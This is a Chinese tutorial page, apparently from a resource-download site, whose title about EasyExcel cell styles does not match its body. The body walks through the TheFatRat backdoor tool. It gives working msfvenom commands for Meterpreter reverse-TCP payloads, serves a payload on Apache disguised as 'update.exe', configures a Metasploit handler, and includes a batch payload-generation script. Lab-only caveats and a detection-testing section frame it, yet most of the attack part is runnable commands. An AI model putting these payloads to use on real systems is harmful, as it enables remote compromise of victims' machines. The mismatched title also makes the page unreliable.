EasyExcel单元格样式不生效？从POI共享模型到拦截器全解析
2026/9/24 21:18:07
简介：Thefatrat 是一套面向渗透测试初学者与安全研究人员的漏洞利用集成工具，主打后门生成与漏洞利用攻击的简化操作，可辅助完成浏览器攻击等常见测试场景。资源包共收录 255 个文件，整体约 126.48MB，文件类型以 85 个 h 头文件、30 个 so 动态库、14 个 jar 包、17 个 md 说明文档及 17 个 rsh 脚本为主，另含 apk、py、sh、c、class 等源码与可执行组件，并附带 aapt、apktool、apksigner、zipalign、dx、d8、baksmali 等 Android 逆向与打包工具链，以及 backdoor_apk、fatrat 等核心模块，目录结构完整，便于直接部署与二次研究。目前已有 119 人学习下载，适合想快速理解后门生成流程、熟悉漏洞利用工具组织方式并动手复现实验的安全爱好者参考。
1. 从 Thefatrat 说起：一个把后门生成和浏览器攻击打包的工具到底在解决什么问题
如果你在渗透测试或红队评估的圈子里待过一阵，大概率听过 Thefatrat 这个名字。它常被描述成一个“巨大的漏洞利用工具”，核心能力有两块：一是生成后门载荷，二是把浏览器攻击、宏文档攻击等常见利用方式做成一条命令就能跑完的流程。很多人第一次接触它，是在 CTF 的 misc 方向里碰到 webshell 后门样本，想搞清楚这类载荷是怎么被批量造出来的，于是顺着线索找到了它。
它真正解决的问题不是“发明新漏洞”，而是把散落在各处的利用步骤收敛成一个交互式菜单：选载荷类型、填 LHOST 和 LPORT、选输出格式，回车之后拿到一个可以直接投递的文件。对刚入门的人来说，这降低了把 Metasploit、msfvenom、Apache 服务、社会工程模板串起来的门槛；对熟手来说，它更像一个快速原型工具，用来在授权范围内验证某条攻击链是否走得通。
这篇文章面向两类读者：一是想搞明白后门载荷生成流程、愿意在隔离环境里复现的初学者；二是需要评估这类工具检测面、想知道它留下哪些痕迹的防守方。下面按“它由什么组成 → 怎么在本地跑通 → 参数怎么调 → 哪里会翻车”的顺序讲，所有操作都限定在你自己搭建的靶场或书面授权范围内。
2. Thefatrat 的组成与载荷生成链路：从菜单到可投递文件
2.1 它到底封装了哪些东西
Thefatrat 本身不是一个从零实现的攻击框架，而是一层编排脚本。它依赖系统里已有的组件来完成实际工作，常见的有：
| 组件 | 作用 | 缺失时的表现 |
|---|---|---|
| Metasploit Framework | 提供 msfvenom 生成原始载荷 | 生成步骤直接报错退出 |
| msfvenom | 把 payload 编译成 exe/elf/apk 等格式 | 找不到命令 |
| Apache2 | 托管投递文件，供目标下载 | 浏览器攻击环节无法提供下载地址 |
| GCC / mingw-w64 | 编译 C 语言后门源码 | 编译类载荷失败 |
| Python3 | 运行工具主脚本 | 无法启动 |
理解这张表很关键：Thefatrat 报错时，九成不是它自己的逻辑坏了，而是某个底层依赖没装或版本不匹配。我一般会先跑一遍依赖检查，再动别的。
2.2 后门载荷的生成流程拆解
以最常见的“生成一个可执行后门”为例，链路是这样的：工具调用 msfvenom，指定 payload（比如windows/meterpreter/reverse_tcp）、LHOST、LPORT，输出一个 exe；同时它会在本地起一个 handler 配置，方便你随后在 msfconsole 里接收回连。下面是一段等价的、可以脱离 Thefatrat 单独验证的命令，用来确认你的 msfvenom 环境是通的：
# 生成一个 Windows 反向 TCP 载荷，仅用于自建靶场验证 msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.56.10 \ # 你的监听机 IP，必须是目标能回连到的地址 LPORT=4444 \ # 监听端口，需与后续 handler 一致 -f exe \ # 输出格式，Windows 用 exe -o /tmp/payload.exe # 输出路径逻辑说明：-p指定 payload 类型，-f决定封装格式，-o是落盘位置。参数里最容易错的是 LHOST——如果你填了127.0.0.1，目标机器永远连不回来，这是新手最常见的翻车点。LPORT 要和后面 handler 里写的端口完全一致，差一位都不行。
2.3 浏览器攻击与社会工程模块的定位
标题里提到的“浏览器攻击”，在 Thefatrat 里通常表现为：起一个 Apache 服务，把载荷放在 web 目录，再配一个诱导页面，让目标在浏览器里点击下载。它本身不包含浏览器 0day，靠的是“让用户主动运行文件”这条社会工程路径。所以评估它的风险时，重点不在浏览器漏洞，而在投递环节和用户交互。
如果你要复现这一环，最小验证是：本地起 Apache，确认载荷能通过 HTTP 被另一台靶机下载。
sudo systemctl start apache2 sudo cp /tmp/payload.exe /var/www/html/update.exe # 在靶机上验证可下载性 curl -O http://192.168.56.10/update.exe这段的意义是先把“投递通道”单独跑通，再去套 Thefatrat 的菜单，否则一旦失败你分不清是工具问题还是网络问题。
3. 在隔离环境里跑通 Thefatrat：安装、启动与第一个载荷
3.1 环境准备与依赖安装
我一般用一台全新的 Kali 或 Ubuntu 虚拟机，网络模式设为 Host-Only 或内部网络，确保它和靶机互通但不出公网。先补齐依赖：
sudo apt update sudo apt install -y git apache2 metasploit-framework gcc mingw-w64 python3 # 确认关键命令存在 which msfvenom && which apache2 && which x86_64-w64-mingw32-gcc逻辑说明：which三个命令是自检，任何一个没有输出，后面的生成步骤都会失败。mingw-w64 是给 Windows 载荷做交叉编译用的，缺了它编译类后门会直接报错。参数上没什么可调的，重点是装全。
3.2 启动工具与菜单导航
拿到工具目录后，主入口通常是一个 shell 脚本。启动方式：
cd thefatrat sudo ./setup.sh # 首次运行做依赖检查和安装 sudo ./fatrat # 启动交互菜单启动后是编号菜单：1 是各类后门载荷，2 是浏览器/宏类攻击，后面还有权限维持等。选 1 之后会让你选具体 payload、填 LHOST/LPORT、选输出格式。这里有个血泪经验：菜单里显示的默认 IP 经常是虚拟机的 NAT 地址，不是靶机能访问到的地址，一定要手动改成 Host-Only 网段的 IP。
3.3 生成后接收回连的 handler 配置
载荷生成只是前半程，后半程是让监听端能接住回连。Thefatrat 一般会提示你复制一段 handler 配置，等价内容如下：
msfconsole -q # 进入后执行 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.10 set LPORT 4444 run逻辑说明：use exploit/multi/handler是通用监听模块，set payload必须和生成载荷时用的 payload 完全一致，否则握手阶段就会失败。LHOST/LPORT 也要和生成时对齐。跑起来后，在靶机上执行那个 exe，正常的话 msfconsole 里会弹出一个 meterpreter 会话。如果没反应，先查靶机防火墙，再查两边网段是否真的互通。
4. 参数怎么设、失败怎么看：LHOST、LPORT 与格式选择
4.1 LHOST 和 LPORT 的取值逻辑
这两个参数是整条链路的命门。LHOST 必须是“目标机器能够路由到的、属于你监听机的地址”。在纯 Host-Only 环境里，就是监听机在该网段的 IP；如果你用了端口转发或 NAT，就要填目标视角下能到达的那个地址。LPORT 建议避开 80、443 这类可能被占用的端口，选 4444、8080 之类，且全程保持一致。
一个快速自检方法：在靶机上ping你的 LHOST，能通才继续。ping 不通就别往下走了，先解决网络。
4.2 输出格式与目标平台的匹配
| 目标平台 | 常用格式 | 参数 | 注意 |
|---|---|---|---|
| Windows | exe | -f exe | 需 mingw 或 msfvenom 内置支持 |
| Linux | elf | -f elf | 注意目标架构 x86/x64 |
| Android | apk | -f apk | 需正确签名才能安装 |
| 脚本类 | python/ps1 | -f python | 体积小，依赖解释器 |
格式选错是最隐蔽的坑：文件生成了，但目标平台根本执行不了，你会误以为是回连失败。我一般先在本地同架构机器上确认文件能跑，再投递。
4.3 失败时的排查顺序
回连不上时，按这个顺序查，能省很多时间：先确认靶机能否 ping 通 LHOST；再确认靶机防火墙是否放行出站；然后确认 handler 的 payload、LHOST、LPORT 与生成时逐字一致；最后看 msfconsole 有没有报错日志。多数“玄学”问题，其实是网段或端口不一致。
5. 避坑与常见问题：五条真实踩坑记录
现象：生成成功但目标执行后毫无反应。原因：LHOST 填成了回环地址或 NAT 地址，目标无法回连。 解决：改成目标可路由的监听机 IP，靶机 ping 验证后再重试。
现象：msfvenom 报 “payload not found”。原因：Metasploit 版本里该 payload 名称变了，或框架未初始化。 解决：msfconsole里用show payloads查实际名称，按查到的写。
现象：编译类后门报找不到 mingw 编译器。原因：只装了 gcc，没装 mingw-w64 交叉编译工具链。 解决：apt install mingw-w64，再用which x86_64-w64-mingw32-gcc确认。
现象：浏览器投递页面能打开，但下载被拦截。原因：浏览器或终端防护对可执行文件下载做了拦截。 解决：这是检测面生效的正常表现，评估时应记录该拦截点，而不是绕过它。
现象：handler 起来了，会话一闪就断。原因：payload 与 handler 的 payload 不完全一致，或目标侧杀软终止了进程。 解决：逐字核对 payload 名称；在靶机上查看进程是否被杀。
6. 进阶：把载荷生成脚本化，以及怎么验证检测是否生效
当你把菜单流程跑顺之后，下一步通常是把它脚本化，方便在授权测试里批量生成不同格式的载荷，同时记录每次生成的参数。下面这段是我常用的封装思路，把参数抽成变量，避免手填出错：
#!/bin/bash # 批量生成载荷的封装示例，仅限授权靶场使用 LHOST="192.168.56.10" LPORT="4444" OUTDIR="/tmp/payloads" mkdir -p "$OUTDIR" # 格式与对应扩展名 declare -A FORMATS=( [exe]="windows/meterpreter/reverse_tcp" \ [elf]="linux/x64/meterpreter/reverse_tcp" ) for fmt in "${!FORMATS[@]}"; do msfvenom -p "${FORMATS[$fmt]}" LHOST="$LHOST" LPORT="$LPORT" \ -f "$fmt" -o "$OUTDIR/payload.$fmt" \ && echo "[ok] $fmt 生成完成" done逻辑说明：用关联数组把格式和 payload 绑在一起，循环生成，&&保证只有成功才打印 ok。参数上，LHOST/LPORT 提到顶部统一管理，改一处即可。这样做的价值是：每次生成的参数可追溯，出问题能快速定位是哪个格式、哪个 payload 失败。
再往上一层是验证检测。生成载荷只是攻击面的一半，另一半是确认防守方能不能发现它。我的习惯是：在靶机上开启终端防护或 EDR，把生成的载荷投递过去，记录它是被静态特征拦下、还是被执行时行为拦截。这个验证过程比生成本身更有价值，因为它直接告诉你这条攻击链在当前环境下是否还成立。
说个我自己的教训：早期我总盯着“怎么生成成功”，后来才发现真正决定成败的是投递和检测环节，生成只是最没技术含量的一步。把精力放在参数一致性、网络可达性和检测验证上，比反复换 payload 有用得多。希望帮到你。
本文还有配套的精品资源，点击获取